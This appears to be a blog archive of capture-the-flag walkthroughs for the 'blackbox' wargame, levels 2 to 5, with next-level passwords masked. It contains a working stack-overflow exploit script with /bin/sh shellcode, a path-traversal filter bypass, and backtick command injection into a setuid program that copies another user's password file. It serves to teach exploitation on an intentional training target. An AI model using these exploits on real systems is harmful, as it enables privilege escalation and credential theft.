Wednesday, January 25, 2012

Blackbox - chapter 5


As in the previous posts, the password for the next level has been replaced with question marks so as to not make this too obvious, and so that the point of the walkthrough, which is mainly educational, will not be missed.

Also, make sure you notice this SPOILER ALERT! If you want to try and solve the level by yourself then read no further!

Hello again. Make sure you are comfortable, because this is going to be a somewhat long level, and rather more difficult that what we saw so far.
First order of business, login & ls:
$ ssh -p 2225 level5@blackbox.smashthestack.org
level5@blackbox.smashthestack.org's password:
...
level5@blackbox:~$ ls -l
total 560
-rwsr-xr-x 1 level6 level6 557846 2008-01-12 21:17 list
-rw-r--r-- 1 root   level5    475 2007-12-29 14:10 list.c
-rw-r--r-- 1 root   level5     10 2007-12-29 14:10 password

And now we take a look at the source file:
level5@blackbox:~$ cat list.c 
#include <stdio.h>


int main(int argc, char **argv)
{
    char buf[100];
    size_t len;
    char fixedbuf[10240];
    FILE *fh;
    char *ptr = fixedbuf;
    int i;

    fh = fopen("somefile", "r");
    if(!fh)
        return 0;

    while((len = fread(buf, 1, 100, fh)) > 0) {
        for(i = 0; i < len; i++) {
            // Disable output modifiers
            switch(buf[i]) {
            case 0xFF:
            case 0x00:
            case 0x01:
                break;
            default:
                *ptr = buf[i];
                ptr++;
            }
        }
    }
    printf("%s", fixedbuf);

    fclose(fh);
}
The program seems to open some fixed file from the current path (which means that we will have to generate that somefile" file under /tmp), it then proceeds to read chunks of 100bytes from the file into some temporary buffer, which are copied to a bigger buffer while filtering-out specific byte values.
The contents of the big buffer are then printed out to us.

Well, our attack surface is obviously the file filename. We can also notice that if filename is indeed longer than 10240 bytes, the read-chunk-and-copy loop will happily continue its business, whereby it will probably mess up the stack.
So lets try and see what the stack frame looks like. And the way to do that is to look at the diassembly of main:
level5@blackbox:~$ objdump -d list|grep -A65 "<main>:"
08048208 <main>:
 8048208: 8d 4c 24 04           lea    0x4(%esp),%ecx
 804820c: 83 e4 f0              and    $0xfffffff0,%esp
 804820f: ff 71 fc              pushl  0xfffffffc(%ecx)
 8048212: 55                    push   %ebp
 8048213: 89 e5                 mov    %esp,%ebp
 8048215: 51                    push   %ecx
 8048216: 81 ec 94 28 00 00     sub    $0x2894,%esp
 804821c: 8d 85 88 d7 ff ff     lea    0xffffd788(%ebp),%eax
 8048222: 89 45 f4              mov    %eax,0xfffffff4(%ebp)
 8048225: c7 44 24 04 88 32 0a  movl   $0x80a3288,0x4(%esp)
 804822c: 08 
 804822d: c7 04 24 8a 32 0a 08  movl   $0x80a328a,(%esp)
 8048234: e8 57 af 00 00        call   8053190 <_IO_new_fopen>
 8048239: 89 45 f0              mov    %eax,0xfffffff0(%ebp)
 804823c: 83 7d f0 00           cmpl   $0x0,0xfffffff0(%ebp)
 8048240: 75 43                 jne    8048285 <main+0x7d>
 8048242: c7 85 78 d7 ff ff 00  movl   $0x0,0xffffd778(%ebp)
 8048249: 00 00 00 
 804824c: e9 8f 00 00 00        jmp    80482e0 <main+0xd8>
 8048251: c7 45 f8 00 00 00 00  movl   $0x0,0xfffffff8(%ebp)
 8048258: eb 23                 jmp    804827d <main+0x75>
 804825a: 8b 45 f8              mov    0xfffffff8(%ebp),%eax
 804825d: 0f b6 44 05 88        movzbl 0xffffff88(%ebp,%eax,1),%eax
 8048262: fe c0                 inc    %al
 8048264: 3c 02                 cmp    $0x2,%al
 8048266: 77 02                 ja     804826a <main+0x62>
 8048268: eb 10                 jmp    804827a <main+0x72>
 804826a: 8b 45 f8              mov    0xfffffff8(%ebp),%eax
 804826d: 0f b6 54 05 88        movzbl 0xffffff88(%ebp,%eax,1),%edx
 8048272: 8b 45 f4              mov    0xfffffff4(%ebp),%eax
 8048275: 88 10                 mov    %dl,(%eax)
 8048277: ff 45 f4              incl   0xfffffff4(%ebp)
 804827a: ff 45 f8              incl   0xfffffff8(%ebp)
 804827d: 8b 45 f8              mov    0xfffffff8(%ebp),%eax
 8048280: 3b 45 ec              cmp    0xffffffec(%ebp),%eax
 8048283: 72 d5                 jb     804825a <main+0x52>
 8048285: 8b 45 f0              mov    0xfffffff0(%ebp),%eax
 8048288: 89 44 24 0c           mov    %eax,0xc(%esp)
 804828c: c7 44 24 08 64 00 00  movl   $0x64,0x8(%esp)
 8048293: 00 
 8048294: c7 44 24 04 01 00 00  movl   $0x1,0x4(%esp)
 804829b: 00 
 804829c: 8d 45 88              lea    0xffffff88(%ebp),%eax
 804829f: 89 04 24              mov    %eax,(%esp)
 80482a2: e8 09 b0 00 00        call   80532b0 <_IO_fread>
 80482a7: 89 45 ec              mov    %eax,0xffffffec(%ebp)
 80482aa: 83 7d ec 00           cmpl   $0x0,0xffffffec(%ebp)
 80482ae: 0f 95 c0              setne  %al
 80482b1: 84 c0                 test   %al,%al
 80482b3: 75 9c                 jne    8048251 <main+0x49>
 80482b5: 8d 85 88 d7 ff ff     lea    0xffffd788(%ebp),%eax
 80482bb: 89 44 24 04           mov    %eax,0x4(%esp)
 80482bf: c7 04 24 93 32 0a 08  movl   $0x80a3293,(%esp)
 80482c6: e8 e5 ab 00 00        call   8052eb0 <_IO_printf>
 80482cb: 8b 45 f0              mov    0xfffffff0(%ebp),%eax
 80482ce: 89 04 24              mov    %eax,(%esp)
 80482d1: e8 0a ac 00 00        call   8052ee0 <_IO_new_fclose>
 80482d6: c7 85 78 d7 ff ff 00  movl   $0x0,0xffffd778(%ebp)
 80482dd: 00 00 00 
 80482e0: 8b 85 78 d7 ff ff     mov    0xffffd778(%ebp),%eax
 80482e6: 81 c4 94 28 00 00     add    $0x2894,%esp
 80482ec: 59                    pop    %ecx
 80482ed: 5d                    pop    %ebp
 80482ee: 8d 61 fc              lea    0xfffffffc(%ecx),%esp
 80482f1: c3                    ret
Wow, good thing the executable has symbol information, because the way to identify the position of the local variables in the stack is by tracking library function calls.

Lets start with these two lines though:
 804821c: 8d 85 88 d7 ff ff     lea    0xffffd788(%ebp),%eax
 8048222: 89 45 f4              mov    %eax,0xfffffff4(%ebp)
This looks like an address assignment, we have such a line in the C program:
    char *ptr = fixedbuf;
This means that fixedbuf starts at ebp-0x2878, and ptr is stored at ebp-0xc.

Next we have a call to _IO_new_fopen:
 8048225: c7 44 24 04 88 32 0a  movl   $0x80a3288,0x4(%esp)
 804822c: 08 
 804822d: c7 04 24 8a 32 0a 08  movl   $0x80a328a,(%esp)
 8048234: e8 57 af 00 00        call   8053190 <_IO_new_fopen>
 8048239: 89 45 f0              mov    %eax,0xfffffff0(%ebp)
And the output, which is a file pointer, is stored at ebp-0x10, which must be our fp.

Now let's look at the call to _IO_fread:
 8048285: 8b 45 f0              mov    0xfffffff0(%ebp),%eax
 8048288: 89 44 24 0c           mov    %eax,0xc(%esp)
 804828c: c7 44 24 08 64 00 00  movl   $0x64,0x8(%esp)
 8048293: 00 
 8048294: c7 44 24 04 01 00 00  movl   $0x1,0x4(%esp)
 804829b: 00 
 804829c: 8d 45 88              lea    0xffffff88(%ebp),%eax
 804829f: 89 04 24              mov    %eax,(%esp)
 80482a2: e8 09 b0 00 00        call   80532b0 <_IO_fread>
 80482a7: 89 45 ec              mov    %eax,0xffffffec(%ebp)
The first parameter is at the bottom of the stack (at esp), this should be the address of buf, and we can see it is ebp-0x78.
The rest of the parameters are already known to us so I won't stall on them.
What's left in this function call is the return value, which is stored at ebp-0x14 and is our len.

The last local variable is i, we can recognize it as the address that gets loaded with a 0, as we can see in the for loop initialization.
There are actually two such instances. This is the first one:
 8048242: c7 85 78 d7 ff ff 00  movl   $0x0,0xffffd778(%ebp)
Which is the return value of main, as we can see eax is reloaded from that address right before exiting main:
 80482e0: 8b 85 78 d7 ff ff     mov    0xffffd778(%ebp),%eax
 80482e6: 81 c4 94 28 00 00     add    $0x2894,%esp
 80482ec: 59                    pop    %ecx
 80482ed: 5d                    pop    %ebp
 80482ee: 8d 61 fc              lea    0xfffffffc(%ecx),%esp
 80482f1: c3                    ret
The second one is the one that interests us:
 8048251: c7 45 f8 00 00 00 00  movl   $0x0,0xfffffff8(%ebp)
Which means i is stored at ebp-0x8.

Let's summarize it all up in one diagram:
Stack frame of main
Imagine now the following scenario: We have a very big file, and the read-chunk-and-copy loop keeps copying the data from buf into fixedbuf. After 102 of these cycles, ptr is pointing to fixedbuf+10200, or, buf-40. After the next cycle, ptr will point to buf+60. This means, that on the next read (104'th if my tally has been kept correctly) ptr will end up pointing beyond the stack frame.
Not entirely though. The thing is, that the copying is not done in one atomic operation, rather, buf is copied to ptr byte-by-byte, which means that 40 bytes into the 104'th cycle, the value of len will change. This affects the flow control of the for-loop, because if we make len smaller than i is in that round, the loop will stop.
Since x86 is a little-endian machine, the first byte of len that will be overwritten is the LSB, so we need to overwrite it so that the loop continues, anything larger than 101 will do.
Now, remember that not all byte values are allowed, and if we want to reach interesting places in the stack, we are forced to write the rest of len. This means that the smallest value we can write is 0x02, and this will make len look something like 0x020202?? when we are done with it.
Next we override fp, again, we can't help but to overwrite it.Let's leave the discussion about it for later though.
After that comes ptr, and this is where it gets tricky, we are overwriting the pointer, using itself as a pointer to its individual bytes. whichever way it goes, once we overwrite the LSB, the pointer will not point to itself anymore, so we need to decide were we want it to point. Well, how about skipping over the rest of ptr, and continue at the MSB of i.
Why would we want to do that? well, remember we put something like 0x020202?? in len? then if we set the MSB of i to 0x03, then i will look like 0x03?????? which is bigger than len! so after that the loop will stop.
Why do we want it to stop now? Well, you see, when the loop on i stops, there will be another call to fread, only now, fp is different.
What would happen? Well, let's take a look at that _IO_fread (cropped in favor of readability):
080532b0 <_IO_fread>:
 80532b0: 55                    push   %ebp
 80532b1: 89 e5                 mov    %esp,%ebp
 80532b3: 83 ec 2c              sub    $0x2c,%esp
 80532b6: 89 75 f8              mov    %esi,0xfffffff8(%ebp)
 80532b9: 8b 75 0c              mov    0xc(%ebp),%esi
 80532bc: 89 7d fc              mov    %edi,0xfffffffc(%ebp)
 80532bf: 8b 7d 10              mov    0x10(%ebp),%edi
 80532c2: 89 5d f4              mov    %ebx,0xfffffff4(%ebp)
 80532c5: 0f af f7              imul   %edi,%esi
 80532c8: 85 f6                 test   %esi,%esi
 80532ca: 0f 84 a4 00 00 00     je     8053374 <_IO_fread+0xc4>
 80532d0: 8b 55 14              mov    0x14(%ebp),%edx
 80532d3: c7 45 e0 00 00 00 00  movl   $0x0,0xffffffe0(%ebp)
 80532da: 8b 02                 mov    (%edx),%eax
 80532dc: 25 00 80 00 00        and    $0x8000,%eax
 80532e1: 66 85 c0              test   %ax,%ax
 80532e4: 75 1f                 jne    8053305 <_IO_fread+0x55>
 80532e6: b8 00 00 00 00        mov    $0x0,%eax
 80532eb: 85 c0                 test   %eax,%eax
 80532ed: c7 45 e0 00 00 00 00  movl   $0x0,0xffffffe0(%ebp)
 80532f4: 0f 85 7e 00 00 00     jne    8053378 <_IO_fread+0xc8>
 80532fa: 8b 45 14              mov    0x14(%ebp),%eax
 80532fd: 89 04 24              mov    %eax,(%esp)
 8053300: e8 bb 40 02 00        call   80773c0 <_IO_flockfile>
 8053305: 8b 55 14              mov    0x14(%ebp),%edx
 8053308: 8b 45 08              mov    0x8(%ebp),%eax
 805330b: 89 74 24 08           mov    %esi,0x8(%esp)
 805330f: 89 14 24              mov    %edx,(%esp)
 8053312: 89 44 24 04           mov    %eax,0x4(%esp)
 8053316: e8 b5 38 00 00        call   8056bd0 <_IO_sgetn>
 805331b: 8b 55 14              mov    0x14(%ebp),%edx
 805331e: 89 c3                 mov    %eax,%ebx
 8053320: 8b 02                 mov    (%edx),%eax
 8053322: 25 00 80 00 00        and    $0x8000,%eax
 8053327: 66 85 c0              test   %ax,%ax
 805332a: 74 37                 je     8053363 <_IO_fread+0xb3>
...
First, let's remember what are the parameters to _IO_fread, in what order are they in the stack, and where can we see them in the disassembly.
Well, the parameters were (at the bottom) buf, then the chunk length (1), then the number of chunks (100) and finally fp.
This means that inside _IO_fread, we can find fp at ebp+0x14. Let's see what does the function do with it:
 80532d0: 8b 55 14              mov    0x14(%ebp),%edx
 80532d3: c7 45 e0 00 00 00 00  movl   $0x0,0xffffffe0(%ebp)
 80532da: 8b 02                 mov    (%edx),%eax
 80532dc: 25 00 80 00 00        and    $0x8000,%eax
 80532e1: 66 85 c0              test   %ax,%ax
 80532e4: 75 1f                 jne    8053305 <_IO_fread+0x55>
The long-word to which fp points is copied into eax, after which it is masked with 0x8000, and if that bit is set, it jumps to 0x08053305:
 8053305: 8b 55 14              mov    0x14(%ebp),%edx
 8053308: 8b 45 08              mov    0x8(%ebp),%eax
 805330b: 89 74 24 08           mov    %esi,0x8(%esp)
 805330f: 89 14 24              mov    %edx,(%esp)
 8053312: 89 44 24 04           mov    %eax,0x4(%esp)
 8053316: e8 b5 38 00 00        call   8056bd0 <_IO_sgetn>
This is a call to _IO_sgetn with fp as the first parameter.
Fine, let's see what _IO_sgetn does:
08056bd0 <_IO_sgetn>:
 8056bd0: 55                    push   %ebp
 8056bd1: 89 e5                 mov    %esp,%ebp
 8056bd3: 8b 55 08              mov    0x8(%ebp),%edx
 8056bd6: 5d                    pop    %ebp
 8056bd7: 8b 8a 94 00 00 00     mov    0x94(%edx),%ecx
 8056bdd: 8b 49 20              mov    0x20(%ecx),%ecx
 8056be0: ff e1                 jmp    *%ecx
 8056be2: 8d b4 26 00 00 00 00  lea    0x0(%esi),%esi
 8056be9: 8d bc 27 00 00 00 00  lea    0x0(%edi),%edi
In the context of _IO_sgetn, fp is located at ebp+0x8.
Well, there's some pointer magic is happening here, after which there a jump to a location stored in ecx.
let's try to write it a more readable C notation:
edx = fp;
ecx = *(unsigned long *)(edx + 0x94);
ecx = *(unsigned long *)(ecx + 0x20);
It looks like fp actually points to some structure, which contains pointers to other structures, which contain an address of a handler.
Well, if we can make the program jump to our handler, we can make it execute a shell.

OK then, let's look back and review what we know, and decide on a strategy.
Well, first, we have found a way to override fp, and then stop the loop and make fread run again.
Then we saw that in fread, some address is extracted from fp, and then the program jumps to that address.
I propose then the following strategy:
  1. We override fp with the address of the bottom of fixedbuf.
  2. We prepare the first long word at the bottom of fixedbuf to be something like 0x????80??, so as to steer the execution path in our direction.
  3. 0x94 bytes after the beginning of fixedbuf, we prepare a pointer to another place in fixedbuf. let's call it ptr1.
  4. 0x20 bytes after ptr1, we will prepare another address which will be the address of our shellcode.
It should be much easier to understand this in a diagram:
This is the structure we need to have in the beginning of our file.
Assuming we know ebp, the end of the file (meaning, starting from the point in which we overwrite len) should look like this:
  1. First 0x70, just to make sure we keep the for-loop alive.
  2. Then 0x020202 because we have to
  3. Then we overwrite fp with fixedbuf=ebp-0x2878
  4. Then we overwrite the LSB of ptr with the address of the second to MSB of i. That is because after we overwrite the LSB of ptr, it will get incremented in the next line of code, this would make ptr point to the LSB of i.
  5. And then we overwrite the MSB of i with 0x03 which will cause the loop to stop, and let the bottom of the file do its magic.
Between the beginning and the end, we need to fill the space with something.

The only open question left is - what is ebp?
Let's take a look:
level5@blackbox:~$ gdb list
...
(gdb) break main
Breakpoint 1 at 0x8048216
(gdb) run
Starting program: /home/level5/list 

Breakpoint 1, 0x08048216 in main ()
(gdb) p $ebp
$1 = (void *) 0xbfffd8f8

Well, this means that we need to override fp with ebp-0x2878=0xbfffb080.
This is not good, because in 0xbfffb0a0 we have 0xff which we can not write.
This pretty much closes the lid on everything we were planning so far, because the basic premise of the entire strategy is that we can redirect fp to our own file structure.
However, we should not abandon all hope, because we have the power to make the stack begin much lower by simply feeding some very long argument to the program. Let's see how this works:
(gdb) run `python -c "print 'a'*0x100"`
Starting program: /home/level5/list `python -c "print 'a'*0x100"`

Breakpoint 1, 0x08048216 in main ()
(gdb) p $ebp
$1 = (void *) 0xbfffd7f8
This address is lower by 0x100 bytes than ebp when running without parameters. Let's try again now with an even larger number:
(gdb) run `python -c "print 'a'*0x10000"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/list `python -c "print 'a'*0x10000"`

Breakpoint 1, 0x08048216 in main ()
(gdb) p $ebp
$2 = (void *) 0xbffed8f8
Bingo! that is our ebp for reasons I'll go into in a pending article. Suffice to say that when running list inside gdb we have argv[0]=/home/level5/list (as I highlighted above) , and when running from /tmp we have argv[0]=/home/level5/list, which are the same.

Well, now that we have all our constants and strategies settled down, we can generate the input file. I like using scripts:
level5@blackbox:~$ cd /tmp/
level5@blackbox:/tmp$ cat > genfile.py
import struct
EBP = 0xbffed8f8
FIXEDBUF = EBP - 0x2878
I = EBP - 0x8
PTR1 = FIXEDBUF + 0x98
PTR2 = FIXEDBUF + 0xbc
SHELLCODE = "31c050682f2f7368682f62696e89e3505389e131d2b00bcd80".decode("hex")

FILE = ""
FILE += struct.pack("<L", 0x08080808)
FILE += '\x90' * 0x90
FILE += struct.pack("<L", PTR1)
FILE += '\x90' * 0x20
FILE += struct.pack("<L", PTR2)
FILE += SHELLCODE
FILE += '\x90' * (10340 - len(FILE))
FILE += struct.pack("<L", 0x02020270)
FILE += struct.pack("<L", FIXEDBUF)
FILE += struct.pack("<L", I + 2)[0]
FILE += '\x03'

f = open('somefile', 'wb')
f.write(FILE)
f.close()

level5@blackbox:/tmp$ python genfile.py
Let's give it a shot:
level5@blackbox:/tmp$ ~/list `python -c "print 'a'*0x10000"`
sh-3.1$ cat /home/level6/password
???????????????
And we're done!

Sunday, January 22, 2012

Blackbox - chapter 4

Welcome back to the walkthrough of the blackbox wargame.

As in the previous posts, the password for the next level has been replaced with question marks so as to not make this too obvious, and so that the point of the walkthrough, which is mainly educational, will not be missed.

Also, make sure you notice this SPOILER ALERT! If you want to try and solve the level by yourself then read no further!

As always, let's login and check out the turf:
$ ssh -p 2225 level4@blackbox.smashthestack.org
level4@blackbox.smashthestack.org's password:
...
level4@blackbox:~$ ls -l
total 1176
-rw-r--r-- 1 root   level5      10 2007-12-29 14:10 password
-rwsr-xr-x 1 level5 level5 1189214 2008-01-12 21:07 shared
-rw-r--r-- 1 root   root      1505 2007-12-29 14:10 shared.cc
As before, the executable has the suid bit. I think I will stop mentioning this from now on.
And we got a source file, again. Let's see:
level4@blackbox:~$ cat shared.cc 
#include <iostream>
#include <fstream>
#include <string>


std::string strreplace(const char *msg, const char *replace, const char *with)
{
    std::string ret;

    while(*msg) {
        if(strncmp(msg, replace, strlen(replace)) == 0) {
            ret += with;

            // Skip all in msg until we have another match
            msg++;
            for(unsigned int i = 1; i < strlen(replace) && *msg; i++) {
                if(strncmp(msg, replace, strlen(replace)) == 0)
                    break;
                msg++;
            }

            continue;
        } else
                ret += *msg;
        msg++;
    }

    return ret;
}

int main(int argc, char **argv)
{
    if(argc < 2) {
        std::cout << "This program allows you to read files from my shared\
         files. See /usr/share/level5 for my shared files. Simply use the\
         path relative to my shared files to read a file!" << std::endl;
        std::cout << "Example: " << argv[0] << " lyrics/foreverautumn" <<\
         std::endl;
        return 1;
    }

    std::string start_path = "/usr/share/level5/";
    std::string relative_path = "";
    char *ptr;

    ptr = argv[1];
    while(*ptr == '/' || *ptr == '.')
        ptr++;

    relative_path = strreplace(ptr, "/../", "");
    relative_path = strreplace(relative_path.c_str(), "/./", "");

    std::string realpath = start_path + relative_path;

    std::cout << "Contents of " << realpath << ":" << std::endl;

    std::ifstream file(realpath.c_str(), std::ios::in);
    if(!file.is_open()) {
        std::cerr << "Unable to open file" << std::endl;
        return 1;
    }

    std::string cline;

    while(!file.eof()) {
        std::getline(file, cline);
        std::cout << cline << std::endl;
    }

    return 0;
}
Well, the program just takes the path provided in the arguments, strips all attempts to break out of the path (meaning '/' - to root, and '.', or more precisely '..' to go up the directory tree), and then proceeds to thwart all further attempts to break out of the static path by deleting occurrences of '/../' and '/./'.
It then appends the sanitized path to the base path /usr/share/level5/, opens that file and prints all the lines in it.
Looks pretty safe in terms of being able to make it print the contents of level5's password file, however on closer examination, there is something that the author forgot to take into account - what if somewhere in the path, I have the substring "/./.././"? On first look, you'd be tempted to think it will all be deleted, but, the replacement is not done in one sweep, but in two. first, "/../" will be removed, which would leave us with "/../", and now we have a nice strategy for breaking away from a fixed path, because on the second strreplace, nothing will be deleted from the string as it is looking for another pattern.
We are still left with one problem, how to break from the fixed path in the beginning, seeing as we are not allowed backslashes or dots.
Well, we did not examine everything in this level, have we? we have that base path: /usr/share/level5. Let's see what it has to offer:
level4@blackbox:~$ ls -l /usr/share/level5
total 24
drwxr-xr-x 2 root root 4096 2008-04-21 18:17 lyrics
-rw-r--r-- 1 root root    5 2008-01-12 21:10 shit1
-rw-r--r-- 1 root root    5 2008-01-12 21:10 shit2
-rw-r--r-- 1 root root    5 2008-01-12 21:10 shit3
-rw-r--r-- 1 root root    5 2008-01-12 21:10 shit4
-rw-r--r-- 1 root root    5 2008-01-12 21:10 shit5
Excellent! we have a directory in there which can be used to get the path started, and then using the technique we found earlier we can get to any path we want, specifically /home/level5/password:
level4@blackbox:~$ ./shared lyrics/./../././../././../././.././home/level5/password
Contents of /usr/share/level5/lyrics/../../../../home/level5/password:
???
Looks like we are done :)

Blackbox - chapter 3


Hi again. This is be another chapter in the series of the blackbox walkthrough.


As in the previous posts, the password for the next level has been replaced with question marks so as to not make this too obvious, and so that the point of the walkthrough, which is mainly educational, will not be missed.

Also, make sure you notice this SPOILER ALERT! If you want to try and solve the level by yourself then read no further!

Good, let's start:
$ ssh -p 2225 level3@blackbox.smashthestack.org
level3@blackbox.smashthestack.org's password:
...
level3@blackbox:~$ ls -l
total 1180
-rw-r--r-- 1 root   level3      12 2007-12-29 14:10 password
-rwxr-xr-x 1 root   level3      59 2007-12-29 14:10 PID
-rwsr-xr-x 1 level4 level4 1189178 2008-01-15 01:42 proclist
-rw-r--r-- 1 root   level3     490 2007-12-29 14:10 proclist.cc
Again, the executable has the suid bit, which means we need to make the program do something for us.
Let's take a look at the source we got:

level3@blackbox:~$ cat proclist.cc 
#include <iostream>
#include <string>

int main(int main, char **argv)
{
 std::string command;
 std::string program;

 std::cout << "Enter the name of the program: ";
 std::cin >> program;

 for(unsigned int i = 0; i < program.length(); i++) {
  if(strchr(";^&|><", program[i]) != NULL) {
   std::cout << "Fatal error" << std::endl;
   return 1;
  }
 }


 // Execute the command to list the programs
 command = "/bin/ps |grep ";
 command += program;
 system(command.c_str());

 return 0;
}
Well, looks pretty straightforward, the program reads some string, then sanitizes it a bit, and then runs ps and filters the output according to that string.
Seems pretty airtight though...We can't use spaces as cin with only take the first word. We can't do any fancy shell stuff like redirection or piping...
However, there is one thing that does not get sanitized here - `ticks`! So if we write some expression inside ticks, when it gets passed to system, sh will resolve whatever is in the ticks, and append the output as a parameter to grep.
What can we do then? Anything which can be scripted in a file.
What do we want? Level 4's password.
Well, the obvious way to do that is to print the contents of /home/level4/password to some file in a place to which we have access (like /tmp/).
But this requires some preparation, because if we want to redirect into some file, we need to make sure the level4 user has permissions to write to that file.
So first we make the file:

level3@blackbox:/tmp$ touch level4pass
level3@blackbox:/tmp$ ls -l level4pass
-rw-r--r-- 1 level3 gamers 0 2012-01-22 17:39 level4pass
level3@blackbox:/tmp$ chmod ugo+rw level4pass
level3@blackbox:/tmp$ ls -l level4pass
-rw-r--rw- 1 level3 gamers 0 2012-01-22 17:39 level4pass
And write the script:
level3@blackbox:/tmp$ cat > getlevel4pass
#!/bin/sh
cat /home/level4/password > /tmp/level4pass

level3@blackbox:/tmp$ chmod ugo+rwx getlevel4pass
level3@blackbox:/tmp$ ls -l getlevel4pass
-rwxrwxrwx 1 level3 gamers 54 2012-01-22 17:42 getlevel4pass
And make proclist run it:
level3@blackbox:~$ ./proclist 
Enter the name of the program: `/tmp/getlevel4pass` 
Usage: grep [OPTION]... PATTERN [FILE]...
Try `grep --help' for more information.
Let's check if it did anything:

level3@blackbox:~$ cat /tmp/level4pass
?????????
Success!

Friday, January 20, 2012

Blackbox - chapter 2

For people who came here from reddit, you can find the solution to the first level here, and solutions to the other levels will appear gradually over the next week or two as I write them.
Also, any feedback will be very much appreciated, be it grammar related, coherence of explanations, level of detail, style - anything.

Hi. This post will be about level2 of the blackbox wargame at smashthestack.org.

SPOILER ALERT! If you want to try and solve the level by yourself then read no further!

The password for the next level has been replaced with question marks so as to not make this too obvious, and so that the point of the walkthrough, which is mainly educational, will not be missed.

Now that we have that cleared out, let's start hacking at level2:
$ ssh -p 2225 level2@blackbox.smashthestack.org
level2@blackbox.smashthestack.org's password:
...
level2@blackbox:~$ ls -l
total 20
-rwsr-xr-x 1 level3 level3 12186 2007-12-29 14:10 getowner
-rw-r--r-- 1 root   level2   488 2007-12-29 14:10 getowner.c
-rw-r--r-- 1 root   root       9 2008-01-24 05:53 password
Looks like we got the source code for the executable in this level, this should make our lives a lot easier.
In addition, we have a the password file, which contains the password of level2, this is a part of a pattern all levels follow (to a degree), and acts as a sort of save-point which saved you grinding through all the levels every time.

Another thing worth noticing (which was true for the previous level as well) is that the executable is owned by the user level3 and it has the suid bit in its permission string. This means that the process will run with level3 permissions. The importance of this fact will be clear shortly, but first, let's examine the source we got:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *filename;
    char buf[128];

    if((filename = getenv("filename")) == NULL) {
        printf("No filename configured!\n");
        return 1;
    }

    while(*filename == '/')
        filename++;
    strcpy(buf, "/tmp/");
    strcpy(&buf[strlen(buf)], filename);

    struct stat stbuf;
    stat(buf, &stbuf);
    printf("The owner of this file is: %d\n", stbuf.st_uid);

    return 0;
}
Well, it looks like the program reads some path from the environment variable called filename,  then appends it to the base path "/tmp" and uses the stat system call to find the owner of the file pointed to by the resulting path.
There also seems to be some loop that sanitizes the the input by removing all '/' from the beginning of filename.
So far this is pretty straightforward, except for the fact that the (sanitized) contents of filename are copied to the local buffer buf using an unsafe strcpy.
This means, that if filename is actually too long (bigger than 128-5, since buf is copied the constant string "/tmp/"), the strcpy will continue copying past the limits of buf[128] and into the stack frame.
This smells like a buffer overflow. Let's see if we can make it crash first:

level2@blackbox:~$ filename=`python -c "print 'A'*200"` ./getowner
The owner of this file is: 0
Segmentation fault
Yup, made it segfault.

Let's take a look at the disassembly of main to see what's going on there in terms of the stack frame, and how we can exploit it:
08048464 <main>:
 8048464: 55                    push   %ebp
 8048465: 89 e5                 mov    %esp,%ebp
 8048467: 53                    push   %ebx
 8048468: 81 ec 14 01 00 00     sub    $0x114,%esp
 804846e: 83 e4 f0              and    $0xfffffff0,%esp
 8048471: b8 00 00 00 00        mov    $0x0,%eax
 8048476: 29 c4                 sub    %eax,%esp
 8048478: c7 04 24 c0 86 04 08  movl   $0x80486c0,(%esp)
 804847f: e8 b4 fe ff ff        call   8048338 <getenv@plt>
 8048484: 89 45 f4              mov    %eax,0xfffffff4(%ebp)
 8048487: 83 7d f4 00           cmpl   $0x0,0xfffffff4(%ebp)
 804848b: 75 1b                 jne    80484a8 <main+0x44>
 804848d: c7 04 24 c9 86 04 08  movl   $0x80486c9,(%esp)
 8048494: e8 df fe ff ff        call   8048378 <printf@plt>
 8048499: c7 85 04 ff ff ff 01  movl   $0x1,0xffffff04(%ebp)
 80484a0: 00 00 00 
 80484a3: e9 86 00 00 00        jmp    804852e <main+0xca>
 80484a8: 90                    nop    
 80484a9: 8b 45 f4              mov    0xfffffff4(%ebp),%eax
 80484ac: 80 38 2f              cmpb   $0x2f,(%eax)
 80484af: 74 02                 je     80484b3 <main+0x4f>
 80484b1: eb 07                 jmp    80484ba <main+0x56>
 80484b3: 8d 45 f4              lea    0xfffffff4(%ebp),%eax
 80484b6: ff 00                 incl   (%eax)
 80484b8: eb ef                 jmp    80484a9 <main+0x45>
 80484ba: c7 44 24 04 e2 86 04  movl   $0x80486e2,0x4(%esp)
 80484c1: 08 
 80484c2: 8d 85 68 ff ff ff     lea    0xffffff68(%ebp),%eax
 80484c8: 89 04 24              mov    %eax,(%esp)
 80484cb: e8 b8 fe ff ff        call   8048388 <strcpy@plt>
 80484d0: 8d 9d 68 ff ff ff     lea    0xffffff68(%ebp),%ebx
 80484d6: 8d 85 68 ff ff ff     lea    0xffffff68(%ebp),%eax
 80484dc: 89 04 24              mov    %eax,(%esp)
 80484df: e8 74 fe ff ff        call   8048358 <strlen@plt>
 80484e4: 8d 14 18              lea    (%eax,%ebx,1),%edx
 80484e7: 8b 45 f4              mov    0xfffffff4(%ebp),%eax
 80484ea: 89 44 24 04           mov    %eax,0x4(%esp)
 80484ee: 89 14 24              mov    %edx,(%esp)
 80484f1: e8 92 fe ff ff        call   8048388 <strcpy@plt>
 80484f6: 8d 85 08 ff ff ff     lea    0xffffff08(%ebp),%eax
 80484fc: 89 44 24 04           mov    %eax,0x4(%esp)
 8048500: 8d 85 68 ff ff ff     lea    0xffffff68(%ebp),%eax
 8048506: 89 04 24              mov    %eax,(%esp)
 8048509: e8 f2 00 00 00        call   8048600 <__stat>
 804850e: 8b 85 20 ff ff ff     mov    0xffffff20(%ebp),%eax
 8048514: 89 44 24 04           mov    %eax,0x4(%esp)
 8048518: c7 04 24 00 87 04 08  movl   $0x8048700,(%esp)
 804851f: e8 54 fe ff ff        call   8048378 <printf@plt>
 8048524: c7 85 04 ff ff ff 00  movl   $0x0,0xffffff04(%ebp)
 804852b: 00 00 00 
 804852e: 8b 85 04 ff ff ff     mov    0xffffff04(%ebp),%eax
 8048534: 8b 5d fc              mov    0xfffffffc(%ebp),%ebx
 8048537: c9                    leave  
 8048538: c3                    ret    
Well, let's try and reconstruct how the stack frame looks.
First, main is a function, so when we enter it (meaning, on the first line) esp points to the return pointer.
The first instruction pushes the ebp of the old stack-frame onto the stack.
Next the current ebp is set to point to the saved ebp.
Then ebx is pushed, and after that, esp is moved 0x114 bytes downwards, and rounded to a 16 byte boundary (that's just an optimization related to cache pages and is not relevant in this case). This in effect means that our stack frame is 0x114=276 bytes long.
Let's try to locate the local variables in that stack-frame.
The pointer filename is the return value from getenv:
